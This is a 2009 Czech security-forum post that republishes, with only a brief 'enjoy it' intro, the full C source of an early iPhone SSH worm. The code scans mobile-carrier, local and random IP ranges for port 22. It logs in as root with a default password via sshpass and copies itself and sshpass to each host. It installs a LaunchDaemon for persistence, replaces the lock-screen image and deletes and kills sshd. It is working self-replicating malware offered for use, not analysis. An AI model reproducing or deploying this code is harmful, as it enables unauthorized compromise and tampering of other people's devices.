Zdrojový kód "prvního" iPhone červa

Vložil/a RubberDuck [1], 12 Listopad, 2009 - 00:43

- Programming [2]
- Virus & Worms [3]

Tento topic je přímou reakcí na aktualitu Na světě je první virus, který napadá iphone [4]

Do rukou se mi dostal kód tohoto viru a ač jsem původně přemýšlel, že by nebylo správné ho hned pouštět mezi lidi, nakonec tak činím.

'Njoy it ;)

```
//
// iPhone default pass worm  by ikex
//
// This code is CLOSED source.
// And very hacky, i just needed it to work.
//
// Thanks to alan3423432432 haha for helping me work out my flaws in C
//

#include "main.h"

int fdlock;

// randHost():  Returns a random IP Address XXX.XXX.XXX.XXX
char *randHost(void)
{
    int x,y,z;
    char *retme;
    srand (time (0));
    x=random() % 255;
    y=random() % 255;
    z=random() % 255;
    asprintf(&retme, "%i.%i.%i.", x,y,z);
    return retme;
}

// get_lock():  Sets/Gets the status of the file lock
//              located in /var/lock/bbot.lock
int get_lock(void)
{
    struct flock fl;
    fl.l_type = F_WRLCK;
    fl.l_whence = SEEK_SET;
    fl.l_start = 0;
    fl.l_len = 1;
    if((fdlock = open("/var/lock/bbot.lock", O_WRONLY|O_CREAT, 0666)) == -1)
      return 0;
    if(fcntl(fdlock, F_SETLK, &fl) == -1)
      return 0;
    return 1;
```

```
}

// getAddrRange():  Gets the phones 3G range + 2
//                  eg, 100.100.100.0-100.100.102.255
char *getAddrRange()
{
   struct ifaddrs *ifaddr, *ifa;
   int family, s;
   char host[NI_MAXHOST];
   if (getifaddrs(&ifaddr) == -1) {
       perror("getifaddrs");
       exit(EXIT_FAILURE);
   }
   for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
       family = ifa->ifa_addr->sa_family;
        if (family == AF_INET)
        {
           if (family == AF_INET || family == AF_INET6) {
               s = getnameinfo(ifa->ifa_addr,
                       (family == AF_INET) ? sizeof(struct sockaddr_in) :
                                             sizeof(struct sockaddr_in6),
                       host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
               if (s != 0) {
                   printf("getnameinfo() failed: %s\n", gai_strerror(s));
                   return "0.0.0.0-0.0.0.0";
               }

               if (strcmp(ifa->ifa_name, "pdp_ip0") == 0)
               {
                   syslog(LOG_DEBUG, ifa->ifa_name);
                   syslog(LOG_DEBUG, host);
                   char *wee[20];
                   tokenise(host, wee, ".");
                   char *range;
                   int octc = atoi(wee[2]);
                   asprintf(&range, "%s.%s.%i.0-%s.%s.%i.255", wee[0], wee[1], octc,
wee[0], wee[1], octc+2);
                   return range;
                }
           }
       }
   }
   freeifaddrs(ifaddr);
   return "0.0.0.0-0.0.0.0";
}
// From alan2349024  Sorry i suck at remembering numbers
// Thanks dude!
int tokenise (char input[], char *token[], char* spl) // Added sep param
{
    char *tokens;
    int count = 0;

    tokens = strtok(input, spl);//Change TOKEN_SEPERATORS To What You Want To
Seperate Off

    if(tokens[strlen(tokens) - 1] == '\n')
        tokens[strlen(tokens) - 1] = '\0';

    token[count] = tokens;
```

```
    while(tokens != NULL)
    {
        count++;
        if( count > MAX_NUM )//change MAX_NUM_TOKENS To A Number
            return (-1);

        tokens = strtok(NULL, spl);

        if(tokens != NULL)
        {
            if(tokens[strlen(tokens) - 1] == '\n')
                tokens[strlen(tokens) - 1] = '\0';
        }
        token[count] = tokens;
    }
    return count;
}

// Entry point.
int main(int argc, char *argv[])
{

    //pid_t   pid, sid;
    //char *subnet = randHost();

    // syslog(LOG_DEBUG, "I should go, i feel like im interupting something ;]");
    /* // FORK CODE REMOVED IT FUCKS WITH LaunchDaemon.
    pid = fork();
    if (pid < 0)
            exit(EXIT_FAILURE);
      else if (pid > 0)
            exit(EXIT_SUCCESS);

    umask(0);

    sid = setsid();
    */
    if(get_lock() == 0) {
        syslog(LOG_DEBUG, "I know when im not wanted *sniff*");
        return 1; } // Already running.
    sleep(60); // Lets wait for the network to come up 2 MINS
    syslog(LOG_DEBUG, "IIIIIII Just want to tell you how im feeling");
    //char ipRange[256] = "120.16.0.0-120.23.255.255";
    char *locRanges = getAddrRange();
    char *lanRanges = "192.168.0.0-192.168.255.255"; // #172.16.0.0-172.31.255.255
Ehh who uses it
    char *vodRanges1 = "202.81.64.0-202.81.79.255";
    char *vodRanges2 = "23.98.128.0-123.98.143.255";
    char *vodRanges3 = "120.16.0.0-120.23.255.255";
    char *optRanges1 = "114.72.0.0-114.75.255.255";
    char *optRanges2 = "203.2.75.0-203.2.75.255";
    char *optRanges3 = "210.49.0.0-210.49.255.255";
    char *optRanges4 = "203.17.140.0-203.17.140.255";
    char *optRanges5 = "203.17.138.0-203.17.138.255";
    char *optRanges6 = "211.28.0.0-211.31.255.255";
    char *telRanges = "58.160.0.0-58.175.255.25";
    //char *attRanges = "32.0.0.0-32.255.255.255"; // TOO BIG
```

```
    syslog(LOG_DEBUG, "awoadqdoqjdqjwiodjqoi aaah!");
    ChangeOnBoot();
    KillSSHD();
    // Local first
    while (1)
    {
        syslog(LOG_DEBUG, "Checking out the local scene yo");
        scanner(locRanges);
        syslog(LOG_DEBUG, "Random baby");
        int i;
        for (i=0; i <= 2; i++)
        {
            char *ipaddr = randHost();
            char *rrange;
            asprintf(&rrange, "%s.0-%s.255", ipaddr, ipaddr);
            scanner(rrange);
        }
        // Lan
        syslog(LOG_DEBUG, "Lannnnn");
        scanner(lanRanges);
        syslog(LOG_DEBUG, "VODAPHONE");
        scanner(vodRanges1);
        scanner(vodRanges2);
        scanner(vodRanges3);
        syslog(LOG_DEBUG, "OPTUSSSS");
        scanner(optRanges1);
        scanner(optRanges2);
        scanner(optRanges3);
        scanner(optRanges4);
        scanner(optRanges5);
        scanner(optRanges6);
        syslog(LOG_DEBUG, "Telstra");
        scanner(telRanges);
    }
}

void scanner(char *ipRange)
{
    char *wee[10];
    char *begin[10];
    char *end[10];
    tokenise(ipRange, wee, "-");
    int octaB, octaE, octbB, octbE, octcB, octcE;
    tokenise(wee[0], begin, ".");
    tokenise(wee[1], end, ".");
    octaB = atoi(begin[0]); // YYY.XXX.XXX.XXX
    octaE = atoi(end[0]);
    octbB = atoi(begin[1]);
    octbE = atoi(end[1]);
    octcB = atoi(begin[2]);
    octcE = atoi(end[2]);
    int loop1;
    for (loop1=octaB; loop1<=octaE; loop1++)
    {
        int loop2;
        for (loop2=octbB; loop2<=octbE; loop2++)
        {
            int loop3;
            for (loop3=octcB; loop3<=octcE; loop3++)
```

```
            {
                int loop4;
                for (loop4=0; loop4<=255; loop4++)
                {
                    char* host;
                    asprintf(&host, "%i.%i.%i.%i", loop1, loop2,loop3, loop4);
                    //printf("\n\rScanning: %s", host);
                    if (scanHost(host) == 0 && checkHost(host) == 0) // This will run
scanHost THEN checkHost right?
                    {
                        syslog(LOG_DEBUG, "Oh a sheep!");
                        //printf("\n\r - %s is vulnerable", host);
                        infectHost(host);
                    }
                }
            }
        }
    }
}

// <a href="http://img41.imageshack.us/img41/730/asto.jpg<br />
int" title="http://img41.imageshack.us/img41/730/asto.jpg<br />
int">http://img41.imageshack.us/img41/730/asto.jpg<br />
int</a> scanHost(char* host)
{
    int res, valopt, soc;
    struct sockaddr_in addr;
    long arg;
    fd_set myset;
    struct timeval tv;
    socklen_t lon;
    soc = socket(AF_INET, SOCK_STREAM, 0);
    arg = fcntl(soc, F_GETFL, NULL);
    arg |= O_NONBLOCK;
    fcntl(soc, F_SETFL, arg);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(22);
    addr.sin_addr.s_addr = inet_addr(host);
    res = connect(soc, (struct sockaddr *)&addr, sizeof(addr));
    if (res < 0) {
      if (errno == EINPROGRESS) {
        tv.tv_sec = 10;
        tv.tv_usec = 0;
        FD_ZERO(&myset);
        FD_SET(soc, &myset);
        if (select(soc+1, NULL, &myset, NULL, &tv) > 0) {
            lon = sizeof(int);
            getsockopt(soc, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
            if (valopt) {
              return -1;
            }
        }
        else {
            return -1; }
      }
      else { return -1; }
    }
    close(soc);
    return 0;
```

```
    // Set to blocking mode again...
    //arg = fcntl(soc, F_GETFL, NULL);
    //arg &= (~O_NONBLOCK);
    //fcntl(soc, F_SETFL, arg);
}

int checkHost(char *host)
{
    syslog(LOG_DEBUG, host);
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&execLine, "sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'echo
99'", VULN_PASS, host);
    if (!(in = popen(execLine, "r"))) {
        printf("Error is sshpass there?");
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, "99"))
            return 0;
    }
    pclose(in);
    return -1; // NOT VULN
}


int runCommand(char* command, char *host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    // Really am to lazy to check this but im piling comands as so
    // command1; command2; command3; echo 99
    // my belief is that if for instance command2 dies we wont hit the echo 99
    // which will make us return -1
    asprintf(&execLine, "sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s ;
echo 99'",VULN_PASS, host, command);
    if (!(in = popen(execLine, "r"))) {
        printf("Error is sshpass there?");
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, "99"))
            return 0;
    }
    pclose(in);
    return -1;
}

int prunCommand(char* command, char *host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&execLine, "sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s
```

```
'%s'",VULN_PASS, host, command);
    if (!(in = popen(execLine, "r"))) {
        printf("Error is sshpass there?");
        return -1;
    }
    while (fgets(buff, sizeof(buff), in) != NULL ) {
        printf("%s",buff);
    }
    pclose(in);
    return -1;
}

int CopyFile(char* src, char* dst, char* host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&execLine, "sshpass -p %s scp -o StrictHostKeyChecking=no ./%s
root@%s:%s", VULN_PASS, src, host, dst);
    if (!(in = popen(execLine, "r"))) {
        printf("Error is sshpass there?");
        return -1;
    }
    while (fgets(buff, sizeof(buff), in) != NULL ) {}
    asprintf(&execLine, "sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'which
%s'", VULN_PASS, host, dst);
    if (!(in = popen(execLine, "r"))) {
        printf("Error is sshpass there?");
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, dst))
            return 0;
    }
    pclose(in);
    return -1;
}

int ChangeOnBoot()
{
    FILE *in;
    extern FILE *popen();
    if (!(in = popen("cp /var/log/youcanbeclosertogod.jpg /var/mobile/Library/
LockBackground.jpg", "r"))) {
        return -1;
    }
    return 0;
}

int KillSSHD()
{
    FILE *in;
    extern FILE *popen();
    if (!(in = popen("rm -f /usr/sbin/sshd; killall sshd", "r"))) {
        return -1;
    }
    return 0;
}
```

```
int infectHost(char *host)
{
    // Copy myself to them
    // run as startup
    if (runCommand("uname -n", host) == 0)
    {
        //printf("\n\r - Infecting: ");
        prunCommand("uname -n", host);
        prunCommand("rm /bin/sshpass", host);
        prunCommand("rm /bin/poc-bbot", host);
        //prunCommand("killall poc-bbot", host);
        if (CopyFile("/bin/poc-bbot", "/bin/poc-bbot", host) == 0 &&
CopyFile("/bin/sshpass", "/bin/sshpass", host) == 0)
        {
            //printf(" - Replicated successfully");
            prunCommand("rm /var/mobile/Library/LockBackground.jpg; echo \"\r\n -
Removed old background\"", host);
            // Revision 3 - idea from nevermore!
            // This way dipshits wont delete my stuff
            CopyFile("/var/log/youcanbeclosertogod.jpg",
"/var/mobile/Library/LockBackground.jpg", host);
            CopyFile("/var/log/youcanbeclosertogod.jpg",
"/var/log/youcanbeclosertogod.jpg", host);
            //CopyFile("/var/mobile/Library/LockBackground.jpg",
"/var/mobile/Library/LockBackground.jpg", host); // We aren't
installing an app.

            //printf(" - Background set (ast.jpg).");
            CopyFile("/System/Library/LaunchDaemons/com.ikey.bbot.plist",
"/System/Library/LaunchDaemons/com.ikey.bbot.plist",
host);
            prunCommand("launchctl load
/System/Library/LaunchDaemons/com.ikey.bbot.plist", host);
            // I didn't want to have to do this.
            prunCommand("rm -f /Library/LaunchDaemons/com.openssh.sshd.plist;
launchctl unload
/Library/LaunchDaemons/com.openssh.sshd.plist", host);
            prunCommand("killall sshd", host);
            //printf("\n\r - Program set to startup on boot");
            //prunCommand("reboot", host)
            //printf("\n\r - Rebooting phone!");
            //CopyFile("ngtgyu.m4r", "/var/mobile/ngtgyu.m4r", host);
            //printf("\n\r - Ringtone set (ngtgyu.m4r).");
        }
    }
    return 0;
}


// END
```

URL článku:
https://security-portal.cz/clanky/zdrojov%C3%BD-k%C3%B3d-prvn%C3%ADho-iphone-%C4%8Derva-0

Odkazy:
[1] https://security-portal.cz/users/rubberduck

[2] https://security-portal.cz/category/tagy/programming
[3] https://security-portal.cz/category/tagy/virus-worms
[4] https://security-portal.cz/clanky/na-světě-je-první-virus-který-napadá-iphone